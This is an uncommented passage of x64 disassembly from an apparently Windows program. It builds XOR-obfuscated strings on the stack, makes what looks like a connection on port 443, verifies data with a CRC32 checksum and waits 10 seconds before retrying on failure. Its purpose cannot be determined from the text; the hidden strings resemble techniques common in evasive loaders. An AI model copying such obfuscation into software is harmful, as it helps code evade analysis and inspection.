lea r9, [rsp + 0x2290]
lea r8, [rsp + 0x29f0]
lea rdx, [rsp + 0xd20]
lea rcx, [rsp + 0x40]
call fcn.7ff70b508310
lea rcx, [rsp + 0x29f0]
call fcn.7ff70b5003a0
xor r8d, r8d
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x170]
call fcn.7ff70b500430
nop
lea rcx, [rsp + 0x2290]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0x23d0]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0x19f0]
call fcn.7ff70b508fe0
nop
lea rcx, [rsp + 0xd00]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x40]
call fcn.7ff70b507f70
jmp 0x7ff70b5188ab
movabs rbx, 0x3890b42decb03949
movabs rdi, 0x4b569c30c0a5e072
movabs rsi, 0x734046660965e5a4
movabs r14, 0xbd00fc97f61dca07
movabs r13, 0xf998c7dac9993560
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
cmp qword [rsp + 0x180], 0
jne 0x7ff70b518a8e
movabs rdx, 0x54b90a9233a1783e
movabs rcx, 0xb5b3b5fc66a44df6
movabs rax, 0x38cc65d113fc5965
movabs r8, 0x23eb4c64506a9e6a
movabs r9, 0xdf618fe2d67cea63
movabs r10, 0x9cffb5bbbdb9500c
movabs r11, 0x4bf1d1419c90153d
movabs r15, 0x2837e85eafc6c017
movabs r12, 0x623e0823b298147f
mov qword [rsp + 0xb0], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], r14
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rsi
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x960], rdx
mov qword [rsp + 0x968], r8
mov qword [rsp + 0x970], r9
mov qword [rsp + 0x978], r10
mov qword [rsp + 0x980], r11
mov qword [rsp + 0x988], r15
mov qword [rsp + 0x990], r12
movabs rax, 0x417076562a3ec5d0
mov qword [rsp + 0x998], rax
movabs rax, 0x60e6b729e8af5590
mov qword [rsp + 0x9a0], rax
mov qword [rsp + 0x9a8], rcx
movdqa xmm0, xmmword [rsp + 0xb0]
pxor xmm0, xmmword [rsp + 0x960]
movdqa xmmword [rsp + 0x960], xmm0
movdqa xmm1, xmmword [rsp + 0x970]
pxor xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x970], xmm1
movdqa xmm0, xmmword [rsp + 0x980]
pxor xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x980], xmm0
movdqa xmm1, xmmword [rsp + 0x990]
pxor xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x990], xmm1
movdqa xmm0, xmmword [rsp + 0x9a0]
pxor xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x9a0], xmm0
lea rdx, [rsp + 0x960]
lea rcx, [rsp + 0x2c60]
jmp 0x7ff70b51761a
lea rax, [rsp + 0x36f0]
mov qword [rsp + 0x2268], rax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0xca0], rax
movabs rcx, 0x38cc65d113fc5965
mov qword [rsp + 0x280], rcx
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x3c0], rcx
mov qword [rsp + 0x3c8], rax
movdqa xmm0, xmmword [rsp + 0x280]
pxor xmm0, xmmword [rsp + 0x3c0]
movdqa xmmword [rsp + 0x3c0], xmm0
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0xcd0], rax
lea rdx, [rsp + 0xcd0]
lea rcx, [rsp + 0x1c30]
call fcn.7ff70b4fc2f0
mov qword [rsp + 0x1c40], r15
mov byte [rsp + 0x46a0], 1
lea rdx, [rsp + 0x46a0]
lea rcx, [rsp + 0x1c48]
call fcn.7ff70b52c750
mov qword [rsp + 0x1c58], r15
lea rax, [rsp + 0x1c30]
mov qword [rsp + 0x380], rax
lea rax, [rsp + 0x1c60]
mov qword [rsp + 0x388], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0xe58]
call fcn.7ff70b520010
mov qword [rsp + 0xe68], r15
lea rax, [rsp + 0x2ca0]
mov qword [rsp + 0x490], rax
lea rax, [rsp + 0x2cc0]
mov qword [rsp + 0x440], rax
lea rax, [rsp + 0x2ce0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x3728], r15
lea rax, [rsp + 0xe58]
mov qword [rsp + 0x11a0], rax
lea rax, [rsp + 0xe70]
mov qword [rsp + 0x11a8], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x11a0]
lea rcx, [rsp + 0x11b0]
call fcn.7ff70b520010
nop
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], 0
mov r9b, 0x20
mov r8d, 0xffffffff
lea rdx, [rsp + 0x2c80]
mov rcx, rax
call fcn.7ff70b51fd80
mov qword [rsp + 0x4690], rax
movabs rcx, 0x38b865bf13935926
mov qword [rsp + 0x2020], rcx
movabs rdx, 0x4daf2a302423f06b
mov qword [rsp + 0x2028], rdx
movabs r8, 0xbd65fce7f664ca53
mov qword [rsp + 0x2030], r8
movabs r9, 0xf9e8c7aac9f8355a
mov qword [rsp + 0x2038], r9
movabs r10, 0x38f1b44eecd93925
mov qword [rsp + 0x2040], r10
movabs r11, 0x4b389c5fc0cce006
mov qword [rsp + 0x2048], r11
movabs rax, 0x103e7820c7813424
mov qword [rsp + 0x2050], rax
movabs rax, 0x734046660965e5ca
mov qword [rsp + 0x2058], rax
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x1130], rax
mov qword [rsp + 0x2060], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x1138], rax
mov qword [rsp + 0x2068], rax
mov qword [rsp + 0x1140], r14
mov qword [rsp + 0x2070], r14
mov qword [rsp + 0x1148], r13
mov qword [rsp + 0x2078], r13
mov qword [rsp + 0x1150], rbx
mov qword [rsp + 0x2080], rbx
mov qword [rsp + 0x1158], rdi
mov qword [rsp + 0x2088], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x1160], rax
mov qword [rsp + 0x2090], rax
mov qword [rsp + 0x1168], rsi
mov qword [rsp + 0x2098], rsi
mov qword [rsp + 0x800], rcx
mov qword [rsp + 0x20a0], rcx
mov qword [rsp + 0x808], rdx
mov qword [rsp + 0x20a8], rdx
mov qword [rsp + 0x810], r8
mov qword [rsp + 0x20b0], r8
mov qword [rsp + 0x818], r9
mov qword [rsp + 0x20b8], r9
mov qword [rsp + 0x820], r10
mov qword [rsp + 0x20c0], r10
mov qword [rsp + 0x828], r11
mov qword [rsp + 0x20c8], r11
movabs rax, 0x103e7820c7813424
mov qword [rsp + 0x830], rax
mov qword [rsp + 0x20d0], rax
movabs rax, 0x734046660965e5ca
mov qword [rsp + 0x838], rax
mov qword [rsp + 0x20d8], rax
movdqa xmm0, xmmword [rsp + 0x1130]
pxor xmm0, xmmword [rsp + 0x800]
movdqa xmmword [rsp + 0x800], xmm0
movdqa xmm1, xmmword [rsp + 0x810]
pxor xmm1, xmmword [rsp + 0x1140]
movdqa xmmword [rsp + 0x810], xmm1
movdqa xmm0, xmmword [rsp + 0x820]
pxor xmm0, xmmword [rsp + 0x1150]
movdqa xmmword [rsp + 0x820], xmm0
movdqa xmm1, xmmword [rsp + 0x830]
pxor xmm1, xmmword [rsp + 0x1160]
movdqa xmmword [rsp + 0x830], xmm1
lea rdx, [rsp + 0x800]
lea rcx, [rsp + 0x2ca0]
call fcn.7ff70b520bc0
mov qword [rsp + 0x258], rax
movabs rax, 0x38a565a1139d594a
mov qword [rsp + 0x24f0], rax
movabs rax, 0x4de02a31243df021
mov qword [rsp + 0x24f8], rax
movabs rax, 0xbd2ffcf4f674ca6b
mov qword [rsp + 0x2500], rax
movabs rax, 0xf9fdc7b4c9fc3507
mov qword [rsp + 0x2508], rax
movabs rax, 0x38bfb44eecd9393b
mov qword [rsp + 0x2510], rax
movabs r8, 0x4b609c03c097e04b
mov qword [rsp + 0x2518], r8
movabs r9, 0x10307864c7dc346d
mov qword [rsp + 0x2520], r9
movabs r10, 0x732446000954e589
mov qword [rsp + 0x2528], r10
movabs r11, 0x60d4b71de8827bac
mov qword [rsp + 0x2530], r11
movabs rax, 0xb580b5d166934dc4
mov qword [rsp + 0x2538], rax
movabs rax, 0x48cae6e69b58f4fb
mov qword [rsp + 0x2540], rax
movabs rax, 0xdfc422b35c7376b8
mov qword [rsp + 0x2548], rax
movabs rax, 0xa21381565c0b1885
mov qword [rsp + 0x2550], rax
movabs rax, 0x814237be4764b92a
mov qword [rsp + 0x2558], rax
movabs rcx, 0x40dfcc8b5fa6d893
mov qword [rsp + 0x2560], rcx
movabs rdx, 0xa4d06fbedc98d3cc
mov qword [rsp + 0x2568], rdx
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x1370], rax
mov qword [rsp + 0x2570], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x1378], rax
mov qword [rsp + 0x2578], rax
mov qword [rsp + 0x1380], r14
mov qword [rsp + 0x2580], r14
mov qword [rsp + 0x1388], r13
mov qword [rsp + 0x2588], r13
mov qword [rsp + 0x1390], rbx
mov qword [rsp + 0x2590], rbx
mov qword [rsp + 0x1398], rdi
mov qword [rsp + 0x2598], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x13a0], rax
mov qword [rsp + 0x25a0], rax
mov qword [rsp + 0x13a8], rsi
mov qword [rsp + 0x25a8], rsi
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0x13b0], rax
mov qword [rsp + 0x25b0], rax
movabs rax, 0xb5b3b5fc66a44df6
mov qword [rsp + 0x13b8], rax
mov qword [rsp + 0x25b8], rax
movabs rax, 0x48e7e68f9b6df4cf
mov qword [rsp + 0x13c0], rax
mov qword [rsp + 0x25c0], rax
movabs rax, 0xdffd22d25c187688
mov qword [rsp + 0x13c8], rax
mov qword [rsp + 0x25c8], rax
movabs rax, 0xa22181655c6c18b1
mov qword [rsp + 0x13d0], rax
mov qword [rsp + 0x25d0], rax
movabs rax, 0x813a37884701b91a
mov qword [rsp + 0x13d8], rax
mov qword [rsp + 0x25d8], rax
mov qword [rsp + 0x13e0], rcx
mov qword [rsp + 0x25e0], rcx
mov qword [rsp + 0x13e8], rdx
mov qword [rsp + 0x25e8], rdx
movabs rax, 0x38a565a1139d594a
mov qword [rsp + 0xa70], rax
mov qword [rsp + 0x25f0], rax
movabs rax, 0x4de02a31243df021
mov qword [rsp + 0xa78], rax
mov qword [rsp + 0x25f8], rax
movabs rax, 0xbd2ffcf4f674ca6b
mov qword [rsp + 0xa80], rax
mov qword [rsp + 0x2600], rax
movabs rax, 0xf9fdc7b4c9fc3507
mov qword [rsp + 0xa88], rax
mov qword [rsp + 0x2608], rax
movabs rax, 0x38bfb44eecd9393b
mov qword [rsp + 0xa90], rax
mov qword [rsp + 0x2610], rax
mov qword [rsp + 0xa98], r8
mov qword [rsp + 0x2618], r8
mov qword [rsp + 0xaa0], r9
mov qword [rsp + 0x2620], r9
mov qword [rsp + 0xaa8], r10
mov qword [rsp + 0x2628], r10
mov qword [rsp + 0xab0], r11
mov qword [rsp + 0x2630], r11
movabs rax, 0xb580b5d166934dc4
mov qword [rsp + 0xab8], rax
mov qword [rsp + 0x2638], rax
movabs rax, 0x48cae6e69b58f4fb
mov qword [rsp + 0xac0], rax
mov qword [rsp + 0x2640], rax
movabs rax, 0xdfc422b35c7376b8
mov qword [rsp + 0xac8], rax
mov qword [rsp + 0x2648], rax
movabs rax, 0xa21381565c0b1885
mov qword [rsp + 0xad0], rax
mov qword [rsp + 0x2650], rax
movabs rax, 0x814237be4764b92a
mov qword [rsp + 0xad8], rax
mov qword [rsp + 0x2658], rax
mov qword [rsp + 0xae0], rcx
mov qword [rsp + 0x2660], rcx
mov qword [rsp + 0xae8], rdx
mov qword [rsp + 0x2668], rdx
movdqa xmm0, xmmword [rsp + 0x1370]
pxor xmm0, xmmword [rsp + 0xa70]
movdqa xmmword [rsp + 0xa70], xmm0
movdqa xmm1, xmmword [rsp + 0xa80]
pxor xmm1, xmmword [rsp + 0x1380]
movdqa xmmword [rsp + 0xa80], xmm1
movdqa xmm0, xmmword [rsp + 0xa90]
pxor xmm0, xmmword [rsp + 0x1390]
movdqa xmmword [rsp + 0xa90], xmm0
movdqa xmm1, xmmword [rsp + 0xaa0]
pxor xmm1, xmmword [rsp + 0x13a0]
movdqa xmmword [rsp + 0xaa0], xmm1
movdqa xmm0, xmmword [rsp + 0xab0]
pxor xmm0, xmmword [rsp + 0x13b0]
movdqa xmmword [rsp + 0xab0], xmm0
movdqa xmm1, xmmword [rsp + 0xac0]
pxor xmm1, xmmword [rsp + 0x13c0]
movdqa xmmword [rsp + 0xac0], xmm1
movdqa xmm0, xmmword [rsp + 0xad0]
pxor xmm0, xmmword [rsp + 0x13d0]
movdqa xmmword [rsp + 0xad0], xmm0
movdqa xmm1, xmmword [rsp + 0xae0]
pxor xmm1, xmmword [rsp + 0x13e0]
movdqa xmmword [rsp + 0xae0], xmm1
lea rdx, [rsp + 0xa70]
lea rcx, [rsp + 0x2cc0]
call fcn.7ff70b520bc0
mov qword [rsp + 0x380], rax
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x1080], rax
movabs r11, 0x4d822a44244df00e
mov qword [rsp + 0x1088], r11
mov qword [rsp + 0x1090], r14
mov qword [rsp + 0x1098], r13
movabs rax, 0x38a565a313975916
mov qword [rsp + 0x520], rax
movabs rax, 0x4de52a6a2439f07e
mov qword [rsp + 0x528], rax
movabs rax, 0xbd00fc97f61dca60
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], r13
movdqa xmm0, xmmword [rsp + 0x1080]
pxor xmm0, xmmword [rsp + 0x520]
movdqa xmmword [rsp + 0x520], xmm0
movdqa xmm1, xmmword [rsp + 0x530]
pxor xmm1, xmmword [rsp + 0x1090]
movdqa xmmword [rsp + 0x530], xmm1
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x2ce0]
call fcn.7ff70b520bc0
mov qword [rsp + 0x280], rax
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x2d00]
call fcn.7ff70b520c00
nop
lea rcx, [rsp + 0x36f0]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x4690]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x1bb
mov rcx, qword [rsp + 0x258]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x380]
mov r8, qword [rsp + 0x280]
mov rdx, rax
lea rcx, [rsp + 0x3910]
call fcn.7ff70b5090d0
nop
movzx edx, byte [rsp + 0x11b0]
lea rcx, [rsp + 0x11b8]
call fcn.7ff70b4fb260
nop
lea r9, [0x7ff70b51ec90]
mov edx, 0x18
lea r8d, [rdx - 0x17]
lea rcx, [rsp + 0xe58]
call fcn.7ff70b54c0b0
nop
lea r9, [0x7ff70b51ec90]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x1c30]
call fcn.7ff70b54c0b0
lea rcx, [rsp + 0x3910]
call fcn.7ff70b535db0
test al, al
jne 0x7ff70b5197a0
movabs rdx, 0xd873dce3957cbe69
movabs rcx, 0xdffd22d25c187688
movabs r15, 0x54a5049733a1783e
movabs r12, 0x22e10a2b506d946b
movabs rax, 0x38cc65d113fc5965
movabs r8, 0x91fbe7f6bbfc4312
movabs r9, 0x4ae5db54ccdb5a2c
movabs r10, 0x2e38ee55b4cb8952
movabs r11, 0x7334163da888147f
mov qword [rsp + 0xb0], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], r14
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rsi
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0xf0], rax
movabs rax, 0xb5b3b5fc66a44df6
mov qword [rsp + 0xf8], rax
movabs rax, 0x48e7e68f9b6df4cf
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x9b0], r15
mov qword [rsp + 0x9b8], r12
mov qword [rsp + 0x9c0], rdx
mov qword [rsp + 0x9c8], r8
mov qword [rsp + 0x9d0], r9
mov qword [rsp + 0x9d8], r10
mov qword [rsp + 0x9e0], r11
movabs rax, 0x1c603f1260138cd0
mov qword [rsp + 0x9e8], rax
movabs rax, 0x78797509adb5bbf
mov qword [rsp + 0x9f0], rax
movabs rax, 0xd0c7d49046ca2497
mov qword [rsp + 0x9f8], rax
movabs rax, 0x48e7e68f9b6ddabd
mov qword [rsp + 0xa00], rax
mov qword [rsp + 0xa08], rcx
movdqa xmm0, xmmword [rsp + 0xb0]
pxor xmm0, xmmword [rsp + 0x9b0]
movdqa xmmword [rsp + 0x9b0], xmm0
movdqa xmm1, xmmword [rsp + 0x9c0]
pxor xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x9c0], xmm1
movdqa xmm0, xmmword [rsp + 0x9d0]
pxor xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x9d0], xmm0
movdqa xmm1, xmmword [rsp + 0x9e0]
pxor xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x9e0], xmm1
movdqa xmm0, xmmword [rsp + 0x9f0]
pxor xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x9f0], xmm0
movdqa xmm1, xmmword [rsp + 0xa00]
pxor xmm1, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0xa00], xmm1
lea rdx, [rsp + 0x9b0]
lea rcx, [rsp + 0x2d20]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x3910]
call fcn.7ff70b51ecb0
nop
lea rcx, [rsp + 0x90]
call fcn.7ff70b500330
nop
lea rcx, [rsp + 0x190]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x170]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x110]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x200]
call fcn.7ff70b5003a0
jmp 0x7ff70b51e083
lea rax, [rsp + 0x3730]
mov qword [rsp + 0x4690], rax
mov qword [rsp + 0x3768], r15
mov r8, qword [rsp + 0x3998]
mov rdx, qword [rsp + 0x3990]
sub r8, rdx
add r8, rdx
lea r9, [rsp + 0xad]
lea rcx, [rsp + 0x2d40]
call fcn.7ff70b526e10
nop
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rsp + 0x3730]
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.7ff70b5268f0
nop
lea rcx, [rsp + 0x2d40]
call fcn.7ff70b4fb1c0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x11c0], rax
movabs rcx, 0x4d822a44244df00e
mov qword [rsp + 0x11c8], rcx
movabs rax, 0x38cc65d17b8f380d
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], rcx
movdqa xmm0, xmmword [rsp + 0x11c0]
pxor xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0x3d0], xmm0
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x2f0]
call fcn.7ff70b526ee0
movzx r8d, byte [rsp + 0x4690]
lea rdx, [rsp + 0x2430]
mov rcx, rax
call fcn.7ff70b4fcac0
nop
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x270], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x278], rax
movabs rcx, 0x38cc11bd668f3c17
mov qword [rsp + 0x3e0], rcx
mov qword [rsp + 0x3e8], rax
movdqa xmm0, xmmword [rsp + 0x270]
pxor xmm0, xmmword [rsp + 0x3e0]
movdqa xmmword [rsp + 0x3e0], xmm0
lea rdx, [rsp + 0x3e0]
lea rcx, [rsp + 0x2f0]
call fcn.7ff70b526ee0
mov rcx, rax
call fcn.7ff70b527020
cmp eax, 0x3eb
je 0x7ff70b519b39
movabs rcx, 0x56b9049d33a1783e
movabs rdx, 0x6df143645628986d
movabs rax, 0x38cc65d113fc5965
movabs r8, 0xd96588f69269bf68
movabs r15, 0x9ceba6bfa5e9154c
movabs r9, 0x59ffd8439bdf5d69
movabs r10, 0x6b21f95ee0c4c016
movabs r11, 0x10517853e68e5a64
mov qword [rsp + 0x620], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x628], rax
mov qword [rsp + 0x630], r14
mov qword [rsp + 0x638], r13
mov qword [rsp + 0x640], rbx
mov qword [rsp + 0x648], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x658], rsi
mov qword [rsp + 0x840], rcx
mov qword [rsp + 0x848], rdx
mov qword [rsp + 0x850], r8
mov qword [rsp + 0x858], r15
mov qword [rsp + 0x860], r9
mov qword [rsp + 0x868], r10
mov qword [rsp + 0x870], r11
mov qword [rsp + 0x878], rsi
movdqa xmm0, xmmword [rsp + 0x620]
pxor xmm0, xmmword [rsp + 0x840]
movdqa xmmword [rsp + 0x840], xmm0
movdqa xmm1, xmmword [rsp + 0x850]
pxor xmm1, xmmword [rsp + 0x630]
movdqa xmmword [rsp + 0x850], xmm1
movdqa xmm0, xmmword [rsp + 0x860]
pxor xmm0, xmmword [rsp + 0x640]
movdqa xmmword [rsp + 0x860], xmm0
movdqa xmm1, xmmword [rsp + 0x870]
pxor xmm1, xmmword [rsp + 0x650]
movdqa xmmword [rsp + 0x870], xmm1
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0x2d60]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x2430]
call fcn.7ff70b4fb1c0
nop
movzx edx, byte [rsp + 0x2f0]
lea rcx, [rsp + 0x2f8]
call fcn.7ff70b4fb260
nop
lea rcx, [rsp + 0x3910]
call fcn.7ff70b51ecb0
nop
lea rcx, [rsp + 0x90]
call fcn.7ff70b500330
nop
lea rcx, [rsp + 0x190]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x170]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x110]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x200]
call fcn.7ff70b5003a0
jmp 0x7ff70b51e083
mov rdx, qword [rsp + 0x110]
mov r8, qword [rsp + 0x118]
cmp rdx, r8
je 0x7ff70b519cf0
sub r8, rdx
lea rcx, [rsp + 0x2d80]
call fcn.7ff70b547b40
lea rcx, [rsp + 0x1d0]
cmp rcx, rax
je 0x7ff70b519b82
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b523430
lea rcx, [rsp + 0x2d80]
call fcn.7ff70b4fb1c0
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb1b0
mov qword [rsp + 0x4690], rax
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4dab30
mov qword [rsp + 0x280], rax
xor edx, edx
mov r8d, 0x3fc
lea rcx, [rsp + 0x3e14]
call fcn.7ff70b54e850
mov ebx, r15d
lea r8, [rsp + 0x3e10]
nop dword [rax]
mov ecx, ebx
shr ecx, 1
mov eax, ebx
mov edx, ecx
xor edx, 0xedb88320
and al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
and cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
and dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
and cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0xedb88320
and dl, 1
cmove eax, ecx
mov dword [r8], eax
inc ebx
lea r8, [r8 + 4]
cmp ebx, 0x100
jb 0x7ff70b519be0
mov edx, r12d
mov rbx, r15
mov r8, qword [rsp + 0x4690]
test r8, r8
je 0x7ff70b519cbf
mov r9, qword [rsp + 0x280]
movsx ecx, byte [r9 + rbx]
mov eax, edx
xor rcx, rax
movzx eax, cl
shr edx, 8
xor edx, dword [rsp + rax*4 + 0x3e10]
inc rbx
cmp rbx, r8
jb 0x7ff70b519ca0
not edx
lea rcx, [rsp + 0x2da0]
call fcn.7ff70b502810
lea rdx, [rsp + 0x2430]
mov rcx, rax
call fcn.7ff70b5257e0
movzx ebx, al
lea rcx, [rsp + 0x2da0]
call fcn.7ff70b4fb1c0
jmp 0x7ff70b519cf2
xor bl, bl
lea rcx, [rsp + 0x2430]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x2f0]
call fcn.7ff70b4fb180
nop
lea rcx, [rsp + 0x3910]
call fcn.7ff70b51ecb0
nop
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
test bl, bl
jne 0x7ff70b51bfbe
lea rax, [rsp + 0x37d0]
mov qword [rsp + 0x4690], rax
lea rax, [rsp + 0x2dc0]
mov qword [rsp + 0x240], rax
movabs rbx, 0x67b816b4668d3c17
mov qword [rsp + 0x1060], rbx
movabs r15, 0x2aec4f28482c986d
mov qword [rsp + 0x1068], r15
movabs rax, 0xbd00fc97f61dca62
mov qword [rsp + 0x1070], rax
mov qword [rsp + 0x1078], r13
lea r8, [rsp + 0x1080]
lea rdx, [rsp + 0x1060]
lea rcx, [rsp + 0x34e0]
call fcn.7ff70b4d1eb0
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x1000], rax
mov qword [rsp + 0x1040], rax
movabs rax, 0x4d822a44244df00e
mov qword [rsp + 0x1008], rax
mov qword [rsp + 0x1048], rax
mov qword [rsp + 0x1010], r14
mov qword [rsp + 0x1050], r14
mov qword [rsp + 0x1018], r13
mov qword [rsp + 0x1058], r13
lea r8, [rsp + 0x1060]
lea rdx, [rsp + 0x1040]
lea rcx, [rsp + 0x34d0]
call fcn.7ff70b4d1eb0
mov qword [rsp + 0x580], rbx
mov qword [rsp + 0x1020], rbx
mov qword [rsp + 0x588], r15
mov qword [rsp + 0x1028], r15
movabs rax, 0xbd00fc97f61dca62
mov qword [rsp + 0x590], rax
mov qword [rsp + 0x1030], rax
mov qword [rsp + 0x598], r13
mov qword [rsp + 0x1038], r13
lea r8, [rsp + 0x1040]
lea rdx, [rsp + 0x1020]
lea rcx, [rsp + 0x34c0]
call fcn.7ff70b4d1eb0
movdqa xmm0, xmmword [rsp + 0x1000]
pxor xmm0, xmmword [rsp + 0x580]
movdqa xmmword [rsp + 0x580], xmm0
movdqa xmm1, xmmword [rsp + 0x590]
pxor xmm1, xmmword [rsp + 0x1010]
movdqa xmmword [rsp + 0x590], xmm1
lea rax, [rsp + 0x580]
mov qword [rsp + 0xcc8], rax
lea rdx, [rsp + 0xcc8]
lea rcx, [rsp + 0x28e0]
call fcn.7ff70b526d00
nop
mov byte [rsp + 0x46a8], 1
lea rdx, [rsp + 0x46a8]
lea rcx, [rsp + 0x28f8]
call fcn.7ff70b526db0
nop
lea r8, [rsp + 0x2910]
lea rdx, [rsp + 0x28e0]
lea rcx, [rsp + 0x34b0]
call fcn.7ff70b4d1eb0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x270], xmm0
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x1650]
call fcn.7ff70b51f1a0
nop
lea rax, [rsp + 0x2de0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x2e00]
mov qword [rsp + 0x440], rax
lea rax, [rsp + 0x2e20]
mov qword [rsp + 0x490], rax
xor edx, edx
lea rcx, [rsp + 0x37d0]
call fcn.7ff70b51fc50
mov r15, rax
lea r8, [rsp + 0x1668]
lea rdx, [rsp + 0x1650]
lea rcx, [rsp + 0x34a0]
call fcn.7ff70b4d1eb0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x270], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x2270]
call fcn.7ff70b520010
nop
xor edx, edx
mov dword [rsp + 0x28], edx
mov byte [rsp + 0x20], dl
mov r9b, 0x20
lea r8d, [rdx - 1]
lea rdx, [rsp + 0x2dc0]
mov rcx, rax
call fcn.7ff70b51fd80
mov r14, rax
movabs rax, 0x38b865bf13935926
mov qword [rsp + 0x16f0], rax
movabs rax, 0x4daf2a302423f06b
mov qword [rsp + 0x16f8], rax
movabs rax, 0xbd65fce7f664ca53
mov qword [rsp + 0x1700], rax
